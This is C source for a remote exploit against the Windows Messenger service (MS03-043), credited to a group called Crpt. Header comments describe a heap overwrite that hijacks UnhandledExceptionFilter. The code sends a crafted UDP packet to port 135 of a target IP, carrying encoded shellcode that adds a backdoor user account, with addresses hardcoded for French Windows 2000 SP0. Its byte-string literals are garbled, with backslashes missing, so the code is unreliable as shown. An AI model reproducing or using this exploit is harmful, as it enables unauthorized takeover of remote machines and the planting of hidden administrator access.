/*******************************************************************/
/*                [Crpt] MS03-043 - Messenger exploit by MrNice [Crpt]                      */
/*              ---------------------------------------------------------------                     */
/*                                                                                                                  */
/*               This Sploit use the unhandledexceptionfilter to redirect                      */
/*               the execution. When overflow occur we have :                                   */
/*                                                                                                                  */
/*               mov 	eax,esi+8		                                                    */
/*               mov 	ecx,esi+Ch                                                                     */
/*               mov 	dword ptr ds:[ecx],eax                                                     */
/*                                                                                                                  */
/*               so we control ecx and edx and we can write 4 bytes                            */
/*               where we want.                                                                              */
/*               If we try to write in a not writable memory zone, an                            */
/*               excepetion is lauched and unhandledexceptionfilter too.                     */
/*                    						     */
/*               A part of unhandledexceptionfilter :                                                 */
/*                                                                                                                  */
/*              mov	eax, dword_0_77ECF44C(=where)                                      */
/*		cmp	eax, ebx				     */
/*		jz	short loc_0_77EA734C                                      */
/*		push	esi                                                                 */
/*		call	eax                                                                */
/*							     */
/*               So we write the "WHAT"(=jmp esi+4Ch) at                                        */
/*               the "WHERE"(=77EA734C here) and when the exception occur             */
/*               the unhandledexceptionfilter is lauched so when call eax                    */
/*               occur, it execute our code.                                                              */ 
/*                       					                     */
/*               Thx Kotik who coded the proof of concept,and Metasploit                    */
/*               for Shellcode and last but not least kralor,Scurt from Crpt                   */
/*                                                                                                                  */
/*               Tested on win2k FR SP0                                                                 */
/*                                                                                                                  */
/*                                                                                                                  */
/*******************************************************************/

#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif
static unsigned char packet_header[] =
"x04x00x28x00"
"x10x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00xf8x91x7bx5ax00xffxd0x11xa9xb2x00xc0"
"x4fxb6xe6xfc"
"xffxffxffxff" 
"xffxffxffxff"
"xffxffxffxff"
"xffxffxffxff"
"x00x00x00x00x01x00x00x00x00x00x00x00"
"x00x00xffxffxffxff"
"xffxffxffxff"
"x00x00";


unsigned char field_header[] =
"xffxffxffxff"
"x00x00x00x00"
"xffxffxffxff";

unsigned char ShellCode[] = // XorDecode	23 bytes
"xEBx10x5Ax4Ax33xC9x66xB9x3Ex01x80x34x0Ax96xE2xFA" 
"xEBx05xE8xEBxFFxFFxFF"
// AddUser:X Pass:X
"xf0x17x7ax16x96x1fx70x7ex21x96x96x96x1fx90x1fx55"
"xc5xfexe8x4ex74xe5x7ex2bx96x96x96x1fxd0x9axc5xfe"
"x18xd8x98x7ax7ex39x96x96x96x1fxd0x9exa7x4dxc5xfe"
"xe6xffxa5xa4xfexf8xf3xe2xf7xc2x69x46x1fxd0x92x1f"
"x55xc5xfexc8x49xeax5bx7ex1ax96x96x96x1fxd0x86xc5"
"xfex41xabx9ax55x7exe8x96x96x96x1fxd0x82xa7x56xa7"
"x4dxd5xc6xfexe4x96xe5x96xfexe2x96xf9x96xfexe4x96"
"xf7x96xfexe5x96xe2x96xfexf8x96xffx96xfexfbx96xff"
"x96xfexd7x96xf2x96x1fxf0x8axc6xfexcex96x96x96x1f"
"x77x1fxd8x8exfex96x96xcax96xc6xc5xc6xc6xc5xc6xc7"
"xc7x1fx77xc6xc2xc7xc5xc6x69xc0x86x1dxd8x8exdfxdf"
"xc7x1fx77xfcx97xc7xfcx95x69xe0x8axfcx96x69xc0x82"
"x69xc0x9axc0xfcxa6xcfxf2x1dx97x1dxd6x9ax1dxe6x8a"
"x3bx1dxd6x9exc8x54x92x96xc5xc3xc0xc1x1dxfaxb2x8e"
"x1dxd3xaax1dxc2x93xeex97x7cx1dxdcx8ex1dxccxb6x97"
"x7dx75xa4xdfx1dxa2x1dx97x78xa7x69x6axa7x56x3axae"
"x76xe2x91x57x59x9bx97x51x7dx64xadxeaxb2x82xe3x77"
"x1dxccxb2x97x7dxf0x1dx9axddx1dxccx8ax97x7dx1dx92"
"x1dx97x7ex7dx94xa7x56x1fx7cxc9xc8xcbxcdx54x9ex96";


int main(int argc,char *argv[])
{
	int i, packet_size, fields_size, s,sp;
	unsigned char packet[8192];
	struct sockaddr_in addr;
	// A few conditions :
	// 0 <= strlen(from) + strlen(machine) <= 56
	// max fields size 3992
	char from[] = "RECCA";
	char machine[] = "ZEUS";
	char body[4096] = "*** MESSAGE ***";
#ifdef _WIN32
	WSADATA wsaData;
#endif

	if(argc<2)
	   {
	printf("t     [Crpt] MS03-043 - Messenger exploit by MrNice [Crpt]n");
	printf("tt  www.coromputer.net && Undernet #coromputern");
                printf("---------------------------------------------------------------n");
                printf("Tested on Windows 2000 French Sp0nn");
                printf("Downloaded from www.K-OTik.comn");
                printf("Syntax : %s <ip>n",argv[0]);
                return -1;
  	   }

#ifdef _WIN32
	if(WSAStartup(0x101,&wsaData)) {
		printf("error: unable to load winsock.n");
                return -1;
		}
#endif

	memset(&addr,0x00,sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr(argv[1]);
	addr.sin_port = htons(135);

	memset(packet,0x00,sizeof(packet));
	packet_size = 0;

	memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
	packet_size += sizeof(packet_header) - 1;

	i = strlen(from) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], from);
	packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

	i = strlen(machine) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], machine);
	packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

	printf("Max 'body' size (incl. terminal NULL char) = 
                %dn", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
	memset(body, 0x14, sizeof(body));
	
	
	body[2263]=(char)0x90;
	body[2264]=(char)0x90;
	body[2265]=(char)0x90;
	body[2266]=(char)0x90;
	
	body[2267]=(char)0x90;
	body[2268]=(char)0x90;
	
	//jmp 8 bytes plus loing
	body[2269]=(char)0xeb;
	body[2270]=(char)0x08;
	
	//WHAT CRYPTSVC.dll Win2k sp0 FRENCH
	body[2271]=(char)0x48;
	body[2272]=(char)0x65;
	body[2273]=(char)0x87;
	body[2274]=(char)0x76;
	
	//WHERE win2k sp0 FRENCH
	body[2275]=(char)0x4C;
	body[2276]=(char)0xF4;
	body[2277]=(char)0xEC;
	body[2278]=(char)0x77;
	   
	for(i=2279;i<2606;i++)
		body[i]=ShellCode[i-2279];
	
	body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '';

	i = strlen(body) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], body);
	packet_size += i;

	fields_size = packet_size - (sizeof(packet_header) - 1);
	*(unsigned int *)(&packet[40]) = time(NULL);
	*(unsigned int *)(&packet[74]) = fields_size;

	printf("Total length of strings = %dnPacket size = %dnFields size = %dn", strlen(from) 
                + strlen(machine) + strlen(body), packet_size, fields_size);


	if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
		printf("error: unable to create socketn");
		return -1;
		}

	if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
		printf("error: unable to send packetn");
                return -1;
		}
	return 0;
}


// www.Syue.com [2003-12-16]